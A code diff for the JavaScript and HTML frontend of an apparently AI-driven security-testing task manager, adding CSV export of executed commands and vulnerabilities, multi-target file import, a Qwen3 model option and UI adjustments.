selectedEl.dataset.node_bwok = newbwork; //selectedEl.dataset.node_bwok = newbwork;
selectedNodeData.node_bwork = newbwork; selectedNodeData.node_bwork = newbwork;
//刷新界面 //刷新界面
selectedEl.classList.toggle("status-running", Boolean(newbwork)); selectedEl.classList.toggle("status-running", Boolean(newbwork));
@ -389,8 +388,6 @@
} }
} }
//----------------------查看指令modal---------------------------- //----------------------查看指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据 let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据 let todoInstrs = []; // 待执行指令的所有数据
@ -692,41 +689,54 @@ function fallbackCopyTextToClipboard(text) {
// 判断当前是哪个 Tab // 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active"); const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") { if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]); exportCurrentPage(doneInstrs, ["序号", "执行指令", "执行时间", "执行结果"]);
} else { } else {
exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]); exportCurrentPage(todoInstrs, ["序号", "待执行指令"]);
} }
}); });
function exportCurrentPage(dataArr, page, headerArr) { // 处理 CSV 字段,确保特殊字符正确转义
const startIndex = (page - 1) * pageSize; function escapeCsvField(value) {
const endIndex = startIndex + pageSize; if (value == null) return "";
const pageData = dataArr.slice(startIndex, endIndex); const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
function exportCurrentPage(dataArr, headerArr) {
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 调试:检查 dataArr 内容
//console.log('Exporting dataArr:', dataArr);
// 如果 dataArr 为空,返回提示
if (!dataArr || dataArr.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码 // 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n"; let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
pageData.forEach((item, i) => { dataArr.forEach((item, i) => {
const rowIndex = startIndex + i + 1; const rowIndex = i + 1;
if (headerArr.length === 4) { if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果 // 已执行:序号,执行指令,执行时间,执行结果
csvContent += rowIndex + "," + csvContent +=
(item.command || "") + "," + [
(item.execTime || "") + "," + rowIndex,
(item.result || "") + "\n"; escapeCsvField(item[0] || ""), // 调整为实际字段名
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
].join(",") + "\n";
} else { } else {
// 待执行:序号,待执行指令 // 待执行:序号,待执行指令
csvContent += rowIndex + "," + (item.command || "") + "\n"; csvContent +=
[rowIndex, escapeCsvField(item.cmd || "")].join(",") + "\n";
} }
}); });
// 如果不足 pageSize 行,补足空行(根据列数进行适当补全)
for (let i = pageData.length; i < pageSize; i++) {
// 根据 headerArr.length 来设置空行的格式
if (headerArr.length === 4) {
csvContent += ",,,\n";
} else {
csvContent += ",\n";
}
}
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" }); const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob); const url = URL.createObjectURL(blob);
@ -840,21 +850,14 @@ document.getElementById("submittedNext").addEventListener("click", function(e){
}); });
// 导出功能:导出当前页已提交数据到 CSV // 导出功能:导出当前页已提交数据到 CSV
document.getElementById("btnExportSubmitted").addEventListener("click", function(){ // document.getElementById("btnExportSubmitted").addEventListener("click", function(){
exportSubmittedCurrentPage(); // exportSubmittedCurrentPage();
}); // });
function exportSubmittedCurrentPage(){ function exportSubmittedCurrentPage(){
const start = (submittedPage - 1) * pageSize;
const end = start + pageSize;
const pageData = submittedMsgs.slice(start, end);
let csv = "\uFEFF" + "序号,角色,内容\n"; // 添加 BOM 防乱码 let csv = "\uFEFF" + "序号,角色,内容\n"; // 添加 BOM 防乱码
pageData.forEach((item, i) => { submittedMsgs.forEach((item, i) => {
csv += `${start + i + 1},${item.role},${item.content}\n`; csv += `${i + 1},${escapeCsvField(item.role || "")},${escapeCsvField(item.content || "")}\n`;
}); });
// 补空行
for(let i = pageData.length; i < pageSize; i++){
csv += ",,\n";
}
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" }); const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob); const url = URL.createObjectURL(blob);
const a = document.createElement("a"); const a = document.createElement("a");

108
web/main/static/resources/scripts/task_manager.js

@ -31,7 +31,7 @@ document.addEventListener("DOMContentLoaded", async () => {
set_radio_selection('testMode', 'auto'); set_radio_selection('testMode', 'auto');
setSetpBtnStatus(); setSetpBtnStatus();
//节点树界面初始化 //节点树界面初始化
update_select_node_data_show("-","-","-","-","-",false) update_select_node_data_show("-","-","-","-","-","-",false)
//单选按钮点击事件 ------ 是不是更规范的编程方式,应该把控件事件的添加都放页面加载完成后处理 //单选按钮点击事件 ------ 是不是更规范的编程方式,应该把控件事件的添加都放页面加载完成后处理
const autoRadio = document.getElementById("autoMode"); const autoRadio = document.getElementById("autoMode");
const manualRadio = document.getElementById("manualMode"); const manualRadio = document.getElementById("manualMode");
@ -77,7 +77,14 @@ async function getTasklist(){
} }
const data = await res.json(); const data = await res.json();
task_list = data.tasks task_list = data.tasks
const taskList = document.getElementById("taskList"); updateTasklistShow()
} catch (error) {
console.error("加载任务列表出错:", error);
document.getElementById("taskList").innerHTML = "<p>加载任务列表失败!</p>";
}
}
function updateTasklistShow(){
const taskList = document.getElementById("taskList");
taskList.innerHTML = ""; // 清空“加载中”提示 taskList.innerHTML = ""; // 清空“加载中”提示
// 遍历任务数组,生成任务项 // 遍历任务数组,生成任务项
task_list.forEach((task) => { task_list.forEach((task) => {
@ -89,6 +96,7 @@ async function getTasklist(){
const targetDiv = document.createElement("div"); const targetDiv = document.createElement("div");
targetDiv.className = "task-target"; targetDiv.className = "task-target";
targetDiv.textContent = task.testTarget; targetDiv.textContent = task.testTarget;
taskItem.title = task.testTarget; // 加上鼠标悬浮提示
taskItem.appendChild(targetDiv); taskItem.appendChild(targetDiv);
// 第二行:测试状态,带缩进 // 第二行:测试状态,带缩进
@ -96,6 +104,9 @@ async function getTasklist(){
statusDiv.className = "task-status"; statusDiv.className = "task-status";
let safeR = getstrsafeR(task.safeRank); let safeR = getstrsafeR(task.safeRank);
let taskS = getstrTaskS(task.taskStatus); let taskS = getstrTaskS(task.taskStatus);
if (taskS === "执行中") {
taskItem.classList.add("running");
}
statusDiv.textContent = `${taskS}-${safeR}`; statusDiv.textContent = `${taskS}-${safeR}`;
taskItem.appendChild(statusDiv); taskItem.appendChild(statusDiv);
@ -113,10 +124,6 @@ async function getTasklist(){
}); });
taskList.appendChild(taskItem); taskList.appendChild(taskItem);
}); });
} catch (error) {
console.error("加载任务列表出错:", error);
document.getElementById("taskList").innerHTML = "<p>加载任务列表失败!</p>";
}
} }
//选中tasklist--更新界面数据 //选中tasklist--更新界面数据
@ -126,7 +133,7 @@ function selected_task_item(){
//按钮状态更新 //按钮状态更新
actionButton = document.getElementById("actionButton"); actionButton = document.getElementById("actionButton");
if(cur_task.taskStatus === 0){ if(cur_task.taskStatus === 0){
actionButton.textContent = "继续"; actionButton.textContent = "启动";
}else if(cur_task.taskStatus === 1){ }else if(cur_task.taskStatus === 1){
actionButton.textContent = "暂停"; actionButton.textContent = "暂停";
}else { }else {
@ -218,13 +225,18 @@ async function controlTask(){
alert("请先选择一个任务!") alert("请先选择一个任务!")
return return
} }
if(cur_task.taskStatus === 1){
if (!confirm("确认暂停该任务吗?为保障任务执行,暂停后需要等待工作线程都执行完当前任务并退出后,才可以重新启动! ")){
return
}
}
try { try {
const res = await fetch("/api/task/taskcontrol", { const res = await fetch("/api/task/taskcontrol", {
method: "POST", method: "POST",
headers: { "Content-Type": "application/json" }, headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cur_task_id }), //task_id:task_id body: JSON.stringify({ cur_task_id }), //task_id:task_id
}); });
// 新增状态码校验
if (!res.ok) { if (!res.ok) {
const errorData = await res.json(); const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`); throw new Error(errorData.error || `HTTP错误 ${res.status}`);
@ -234,7 +246,7 @@ async function controlTask(){
//更新页面 //更新页面
if(newstatus === 0){ if(newstatus === 0){
document.getElementById("detailTestStatus").textContent = "暂停中"; document.getElementById("detailTestStatus").textContent = "暂停中";
actionButton.textContent = "继续"; actionButton.textContent = "启动";
}else if(newstatus === 1){ }else if(newstatus === 1){
document.getElementById("detailTestStatus").textContent = "执行中"; document.getElementById("detailTestStatus").textContent = "执行中";
actionButton.textContent = "暂停"; actionButton.textContent = "暂停";
@ -246,6 +258,7 @@ async function controlTask(){
setSetpBtnStatus(); setSetpBtnStatus();
//更新task_list的显示 //更新task_list的显示
updateTaskList(); updateTaskList();
alert("控制任务状态成功!")
} catch (error) { } catch (error) {
console.error("控制任务状态异常:"+error); console.error("控制任务状态异常:"+error);
alert("控制任务状态异常:"+error); alert("控制任务状态异常:"+error);
@ -299,6 +312,11 @@ function updateTaskList(){
if (selectedEl) { if (selectedEl) {
let safeR = getstrsafeR(cur_task.safeRank); let safeR = getstrsafeR(cur_task.safeRank);
let taskS = getstrTaskS(cur_task.taskStatus); let taskS = getstrTaskS(cur_task.taskStatus);
if (taskS === "执行中") {
selectedEl.classList.add("running");
} else {
selectedEl.classList.remove("running");
}
const statusDiv = selectedEl.querySelector(".task-status"); const statusDiv = selectedEl.querySelector(".task-status");
statusDiv.textContent = `${taskS}-${safeR}`; statusDiv.textContent = `${taskS}-${safeR}`;
} }
@ -401,6 +419,13 @@ function renderTableRows(tbody, rowsData) {
} }
} }
// 处理 CSV 字段,确保特殊字符正确转义
function escapeCsvField(value) {
if (value == null) return "";
const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
//--------------------------测试指令------------------------------- //--------------------------测试指令-------------------------------
let allInstrs = []; let allInstrs = [];
let currentInstrPage = 1; let currentInstrPage = 1;
@ -449,7 +474,37 @@ async function searchInstructions(page = 1) {
//导出测试指令数据 //导出测试指令数据
async function ExportInstructions(){ async function ExportInstructions(){
alert("导出指令功能实现中。。。"); // Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allInstrs || allInstrs.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,执行指令,执行结果\n"; // 添加 BOM 防乱码
allInstrs.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "执行指令.csv";
link.click();
URL.revokeObjectURL(url);
} }
// 绑定测试指令查询按钮事件 // 绑定测试指令查询按钮事件
@ -516,7 +571,38 @@ async function searchVulnerabilities(page = 1) {
//导出漏洞数据 //导出漏洞数据
async function ExportVuls(){ async function ExportVuls(){
alert("导出漏洞功能实现中。。。"); // Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allVuls || allVuls.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,漏洞类型,漏洞级别,漏洞说明\n"; // 添加 BOM 防乱码
allVuls.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "漏洞数据.csv";
link.click();
URL.revokeObjectURL(url);
} }
// 绑定漏洞数据查询按钮事件 // 绑定漏洞数据查询按钮事件

91
web/main/templates/his_task.html

@ -37,16 +37,48 @@
height: 45px; height: 45px;
overflow: hidden; overflow: hidden;
} }
/* 模态框内部最大高度,超出部分滚动 */
.modal-dialog { .tab-wrapper {
max-height: calc(100vh+20px); max-height: calc(100vh - 60px - 56px - 66px - 14px);
overflow: hidden; /* 防止溢出 */
} }
.modal-content {
max-height: calc(100vh+20px); .tab-content {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px);
overflow: hidden; /* 防止溢出 */
} }
.modal-body { .tab-pane {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px);
overflow-x: hidden;
overflow-y: auto; overflow-y: auto;
.row {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
overflow: hidden; /* 防止溢出 */
} }
.his-node-tree-area {
width: 100%;
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
border: 1px solid #ddd;
/* overflow: hidden; 超出时出现滚动条 */
overflow-x: auto;
overflow-y: hidden;
background-color: #f8f9fa;
text-align: center; /* 内部 inline-block 居中 */
position: relative;
}
/* 树节点内容区域,不包含刷新按钮 */
.his-tree-content {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
overflow-x: auto;
overflow-y: auto;
padding-top: 5px; /* 留出顶部刷新按钮位置 */
/* 关键一行:至少宽度撑满其内部内容 */
min-width: max-content;
}
/* 这里设置页码按钮样式(可根据需要调整) */ /* 这里设置页码按钮样式(可根据需要调整) */
.pagination { .pagination {
margin: 0; margin: 0;
@ -108,6 +140,7 @@
<option value="">使用模型</option> <option value="">使用模型</option>
<option value="1">DeepSeek</option> <option value="1">DeepSeek</option>
<option value="2">GPT-O3</option> <option value="2">GPT-O3</option>
<option value="4">Qwen3</option>
</select> </select>
</div> </div>
<div class="col-2" > <div class="col-2" >
@ -127,13 +160,13 @@
<table class="table table-bordered table-hover" id="histasksTable" style="width: 100%; table-layout: fixed;"> <table class="table table-bordered table-hover" id="histasksTable" style="width: 100%; table-layout: fixed;">
<thead class="table-light"> <thead class="table-light">
<tr> <tr>
<th style="width: 60px;">ID</th> <th style="width: 5%;">ID</th>
<th style="width: 20%;">检测目标</th> <th style="width: 20%;">检测目标</th>
<th style="width: 15%;">开始时间</th> <th style="width: 15%;">开始时间</th>
<th style="width: 15%;">结束时间</th> <th style="width: 15%;">结束时间</th>
<th style="width: 15%;">风险等级</th> <th style="width: 10%;">风险等级</th>
<th style="width: 15%;">使用模型</th> <th style="width: 15%;">使用模型</th>
<th style="width: 100px;">操作</th> <th style="width: 20%;">操作</th>
</tr> </tr>
</thead> </thead>
<tbody id="histasksTbody"> <tbody id="histasksTbody">
@ -189,29 +222,26 @@
</ul> </ul>
<div class="tab-content" id="myTabContent"> <div class="tab-content" id="myTabContent">
<!-- 节点树 --> <!-- 节点树 -->
<div class="tab-pane fade show active p-3 h-100" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab"> <div class="tab-pane fade show active p-3" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
<div class="row h-100"> <div class="row">
<!-- 左侧:节点树区域 --> <!-- 左侧:节点树区域 -->
<div class="col-8 h-100"> <div class="col-8 h-100">
<div class="node-tree-area" id="nodeTreeContainer" style="height: 100%; overflow-y: auto; position: relative; background-color: #f8f9fa;"> <div class="his-node-tree-area" id="nodeTreeContainer">
<!-- 固定刷新按钮 -->
<!-- <div class="refresh-container" style="position: absolute; top: 5px; left: 5px; z-index: 100;">-->
<!-- <button class="tree-refresh btn btn-primary btn-sm" id="btnRefresh" title="刷新节点树">&#x21bb;</button>-->
<!-- </div>-->
<!-- 节点树内容 --> <!-- 节点树内容 -->
<div id="treeContent" class="tree-content" style="padding-top: 40px;"> <div id="treeContent" class="his-tree-content">
<p id="treeLoadingMsg" style="text-align:center;">加载中...</p> <p id="treeLoadingMsg" style="text-align:center;">加载中...</p>
</div> </div>
</div> </div>
</div> </div>
<!-- 右侧:节点信息与操作 --> <!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100"> <div class="col-4 h-100">
<div class="node-info-area mb-3" style="padding: 10px;"> <div class="node-info-area mb-2" style="padding: 10px;">
<h5>节点信息</h5> <!-- <h5>节点信息</h5>-->
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p> <p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p> <p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p> <p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p> <p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>漏洞说明:</strong> <span id="node_vulInfo">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p> <p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p> <p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div> </div>
@ -455,7 +485,7 @@
<!-- 页面脚本块 --> <!-- 页面脚本块 -->
{% block script %} {% block script %}
<script src="{{ url_for('main.static', filename='scripts/task_modal.js') }}"></script> <script src="{{ url_for('main.static', filename='scripts/his_task_modal.js') }}"></script>
<script> <script>
// 全局变量 // 全局变量
let cur_task_id = 0; let cur_task_id = 0;
@ -503,6 +533,9 @@
else if(task[3]===2){ else if(task[3]===2){
model_test="GPT-O3"; model_test="GPT-O3";
} }
else if(task[3]===4){
model_test="Qwen3";
}
else{ else{
model_test="其他模型"; model_test="其他模型";
} }
@ -510,15 +543,21 @@
tr.appendChild(tdModel); tr.appendChild(tdModel);
const tdAction = document.createElement("td"); const tdAction = document.createElement("td");
//报告按钮
const btnReport = document.createElement("button");
btnReport.className = "btn btn-outline-info btn-sm ms-2";
btnReport.textContent = "报告";
btnReport.onclick = () => createReport(task[0]);
tdAction.appendChild(btnReport);
// 查看按钮(点击后弹出 modal) // 查看按钮(点击后弹出 modal)
const btnView = document.createElement("button"); const btnView = document.createElement("button");
btnView.className = "btn btn-outline-info btn-sm"; btnView.className = "btn btn-outline-info btn-sm ms-2";
btnView.textContent = "查看"; btnView.textContent = "查看";
btnView.onclick = () => openViewModal(task[0]); btnView.onclick = () => openViewModal(task[0]);
tdAction.appendChild(btnView); tdAction.appendChild(btnView);
// 删除按钮(示例) // 删除按钮
const btnDel = document.createElement("button"); const btnDel = document.createElement("button");
btnDel.className = "btn btn-outline-danger btn-sm ms-1"; btnDel.className = "btn btn-outline-danger btn-sm ms-2";
btnDel.textContent = "删除"; btnDel.textContent = "删除";
btnDel.onclick = () => confirmDeleteTask(task[0]); btnDel.onclick = () => confirmDeleteTask(task[0]);
tdAction.appendChild(btnDel); tdAction.appendChild(btnDel);
@ -540,6 +579,10 @@
updatePagination(); updatePagination();
} }
function createReport(task_id){
alert("导出报告的功能实现中--"+task_id)
}
// 更新分页按钮 // 更新分页按钮
function updatePagination() { function updatePagination() {
const totalPages = Math.ceil(allHistasks.length / pageSize); const totalPages = Math.ceil(allHistasks.length / pageSize);
@ -600,7 +643,7 @@
const viewModal = new bootstrap.Modal(document.getElementById("viewModal"), { keyboard: false }); const viewModal = new bootstrap.Modal(document.getElementById("viewModal"), { keyboard: false });
viewModal.show(); viewModal.show();
//查询节点树数据 //查询节点树数据
loadNodeTree(task_id); his_loadNodeTree(task_id);
//查询指令数据 //查询指令数据
searchInstructions(1); searchInstructions(1);
//查询漏洞数据 //查询漏洞数据

129
web/main/templates/index.html

@ -21,28 +21,20 @@
type="text" type="text"
class="form-control" class="form-control"
id="testTarget" id="testTarget"
placeholder="输入测试目标" placeholder="输入测试目标。多目标以,(英文逗号)隔开,或导入txt文件(一行一个目标)"
required required
/> />
</div> </div>
<!-- cookie 信息输入框,左缩进,非必填 --> <!-- cookie 信息输入框,左缩进,非必填 -->
<div class="mb-3"> <div class="mb-3">
<div style="margin-left: 20px;margin-bottom: 10px">
<label class="fw-bold" style="font-size:0.9rem">cookie信息 (非必填):</label>
<input
type="text"
class="form-control"
id="cookieInfo"
placeholder="输入cookie信息"
/>
</div>
<!-- 模型选择 --> <!-- 模型选择 -->
<div style="margin-left: 20px; margin-bottom: 10px"> <div style="margin-left: 20px; margin-bottom: 10px">
<label class="fw-bold" style="font-size:0.9rem">模型选择:</label> <label class="fw-bold" style="font-size:0.9rem">模型选择:</label>
<select class="form-select" id="modelSelect" style="font-size:0.9rem"> <select class="form-select" id="modelSelect" style="font-size:0.9rem">
<option value="DeepSeek">DeepSeek</option> <option value="1">DeepSeek</option>
<option value="GPT-O3">GPT-O3</option> <option value="2">GPT-O3</option>
<option value="4">Qwen3</option>
</select> </select>
</div> </div>
@ -77,8 +69,11 @@
</div> </div>
</div> </div>
<!-- 隐藏的文件输入框 -->
<input type="file" id="fileInput" accept=".txt" style="display:none;"/>
<!-- 开始按钮,右对齐 --> <!-- 开始按钮,右对齐 -->
<div class="mb-3 text-end"> <div class="mb-3 text-end">
<button id="addfileButton" class="btn btn-primary">目标文件</button>
<button id="startButton" class="btn btn-primary">开始</button> <button id="startButton" class="btn btn-primary">开始</button>
</div> </div>
@ -109,12 +104,15 @@
const selectedModel = this.value; const selectedModel = this.value;
console.log("选择的模型为:" + selectedModel); console.log("选择的模型为:" + selectedModel);
// 可根据需要进一步处理选中模型 // 可根据需要进一步处理选中模型
if(selectedModel === "DeepSeek"){ if(selectedModel === "1"){
curmodel = 1 curmodel = 1;
}else if(selectedModel === "GPT-O3"){ }else if(selectedModel === "2"){
curmodel = 2 //暂时用2233.ai接口代替o3 curmodel = 2; //暂时用2233.ai接口代替o3
} }else if(selectedModel === "4") {
else { curmodel = 4;
}else if(selectedModel === "5") {
curmodel = 5;
} else {
alert("模型参数存在问题,请联系管理员!!"); alert("模型参数存在问题,请联系管理员!!");
} }
}); });
@ -122,7 +120,6 @@
document.getElementById("startButton").addEventListener("click", async () => { document.getElementById("startButton").addEventListener("click", async () => {
//取值 //取值
const testTarget = document.getElementById("testTarget").value; const testTarget = document.getElementById("testTarget").value;
const cookieInfo = document.getElementById("cookieInfo").value;
let workType = 0; //0-人工,1-自动 let workType = 0; //0-人工,1-自动
const selected = document.getElementById('manualMode').checked; const selected = document.getElementById('manualMode').checked;
if(selected){ if(selected){
@ -136,38 +133,70 @@
return; return;
} }
try { try {
const response = await fetch("/api/task/start", { const response = await fetch("/api/task/start", {
method: "POST", method: "POST",
headers: { headers: {
"Content-Type": "application/json", "Content-Type": "application/json",
}, },
body: JSON.stringify({ body: JSON.stringify({
testTarget, testTarget,
cookieInfo, workType,
workType, curmodel,
curmodel, }),
}), });
});
// 状态码校验
// // 状态码校验 if (!response.ok) {
// if (!response.ok) { const errorData = await res.json();
// const errorData = await res.json(); throw new Error(errorData.error || `HTTP错误 ${res.status}`);
// throw new Error(errorData.error || `HTTP错误 ${res.status}`); }
// }
const data = await response.json();
// 如果后端返回了重定向,则前端自动跳转 fail_list = data.fail_list;
if (response.redirected) { if(fail_list.trim() !== ""){
window.location.href = response.url; alert("创建任务成功,失败的有:"+fail_list);
} else { //除了跳转,都是返回的错误信息
const data = await response.json();
if (data.error) {
alert(data.error);
}
}
} catch (error) {
console.error("Error:", error);
alert("请求出错,请稍后再试!");
} }
window.location.href = "/task_manager.html";
} catch (error) {
console.error("Error:", error);
alert("请求出错,请稍后再试!");
}
});
//上传目标文件
const fileInput = document.getElementById('fileInput');
const addfileButton = document.getElementById('addfileButton');
const testTargetInput = document.getElementById('testTarget');
// 点击“目标文件”按钮时触发文件选择
addfileButton.addEventListener('click', () => {
fileInput.value = null; // 允许重复选择同一个文件
fileInput.click();
}); });
// 文件选中后读取内容、替换换行并填入输入框
fileInput.addEventListener('change', async (e) => {
const file = e.target.files[0];
if (!file) return;
try {
// 现代浏览器支持直接用 File.text()
const text = await file.text();
// 按行拆分、去空行、再用英文逗号拼起来
const targets = text
.split(/\r?\n/) // 按 Unix/Windows 换行拆分
.map(line => line.trim()) // 去掉每行首尾空白
.filter(line => line) // 丢掉空行
.join(',');
// 填入测试目标输入框
testTargetInput.value = targets;
} catch (err) {
console.error('读取文件失败', err);
alert('读取文件失败,请检查文件格式');
}
});
</script> </script>
{% endblock %} {% endblock %}

34
web/main/templates/task_manager.html

@ -52,6 +52,11 @@
cursor: pointer; cursor: pointer;
transition: background-color 0.3s ease, box-shadow 0.3s ease; transition: background-color 0.3s ease, box-shadow 0.3s ease;
} }
.task-item.running {
/*border: 2px solid #52c41a;*/
border: 2px solid #1890ff; /* 蓝色边框 */
}
/* 任务项选中状态样式 */ /* 任务项选中状态样式 */
.task-item.selected { .task-item.selected {
background-color: #e6f7ff; background-color: #e6f7ff;
@ -68,6 +73,9 @@
/* 任务目标样式,第一行 */ /* 任务目标样式,第一行 */
.task-target { .task-target {
font-weight: bold; font-weight: bold;
white-space: nowrap; /* 不换行 */
overflow: hidden; /* 超出隐藏 */
text-overflow: ellipsis; /* 超出显示... */
} }
/* 任务状态,第二行,有缩进 */ /* 任务状态,第二行,有缩进 */
.task-status { .task-status {
@ -202,13 +210,12 @@
</div> </div>
<!-- <div class="col-2" style="display: flex; justify-content: center; align-items: center"> --> <!-- <div class="col-2" style="display: flex; justify-content: center; align-items: center"> -->
<div class="col-3 d-flex justify-content-center align-items-center"> <div class="col-3 d-flex justify-content-center align-items-center">
<!-- 按钮 (联动测试状态示例: 执行中->暂停, 暂停中->继续, 已结束->重启) --> <!-- 按钮 (联动测试状态示例: 执行中->暂停, 暂停中->启动,) -->
<button class="btn btn-primary btn-block" id="actionButton">暂停</button> <button class="btn btn-primary btn-block" id="actionButton">启动</button>
<button class="btn btn-primary btn-block m-2" id="one_step">单步</button> <button class="btn btn-primary btn-block m-2" id="one_step">单步</button>
<button class="btn btn-danger btn-block m-2" id="btnTaskOver">结束</button> <button class="btn btn-danger btn-block m-2" id="btnTaskOver">结束</button>
</div> </div>
</div> </div>
<!-- 下方:Tab 页 --> <!-- 下方:Tab 页 -->
<div class="tab-wrapper"> <div class="tab-wrapper">
<ul class="nav nav-tabs" id="myTab" role="tablist"> <ul class="nav nav-tabs" id="myTab" role="tablist">
@ -257,12 +264,7 @@
</ul> </ul>
<div class="tab-content " id="myTabContent"> <div class="tab-content " id="myTabContent">
<!-- 节点树 --> <!-- 节点树 -->
<div <div class="tab-pane fade show active p-3 h-100" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
class="tab-pane fade show active p-3 h-100"
id="nodeTree"
role="tabpanel"
aria-labelledby="nodeTreeTab"
>
<div class="row h-100"> <div class="row h-100">
<!-- 左侧:节点树区域 --> <!-- 左侧:节点树区域 -->
<div class="col-8 h-100"> <div class="col-8 h-100">
@ -281,12 +283,13 @@
</div> </div>
<!-- 右侧:节点信息与操作 --> <!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100"> <div class="col-4 h-100">
<div class="node-info-area mb-3"> <div class="node-info-area mb-2">
<h5>节点信息</h5> <!-- <h5>节点信息</h5>-->
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p> <p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p> <p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p> <p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p> <p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>漏洞说明:</strong> <span id="node_vulInfo">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p> <p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p> <p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div> </div>
@ -416,9 +419,16 @@
</div> </div>
</div> </div>
<table class="table table-bordered table-hover" id="vulTable"> <table class="table table-bordered table-hover" id="vulTable">
<colgroup>
<col style="width: 5%;">
<col style="width: 35%;">
<col style="width: 15%;">
<col style="width: 10%;" class="wrap-cell">
<col style="width: auto;">
</colgroup>
<thead> <thead>
<tr> <tr>
<th class="seq-col">序号</th> <th>序号</th>
<th>节点路径</th> <th>节点路径</th>
<th>漏洞类型</th> <th>漏洞类型</th>
<th>漏洞级别</th> <th>漏洞级别</th>

6
web/main/templates/task_manager_modal.html

@ -179,10 +179,6 @@
</li> </li>
</ul> </ul>
</nav> </nav>
<!-- 导出按钮 -->
<div class="text-end">
<button class="btn btn-primary" id="btnExportSubmitted">导出</button>
</div>
</div> </div>
<!-- 待提交 Tab --> <!-- 待提交 Tab -->
@ -209,6 +205,8 @@
<div class="modal-footer"> <div class="modal-footer">
<!-- 关闭按钮 --> <!-- 关闭按钮 -->
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
<!-- &lt;!&ndash; 导出按钮 &ndash;&gt;-->
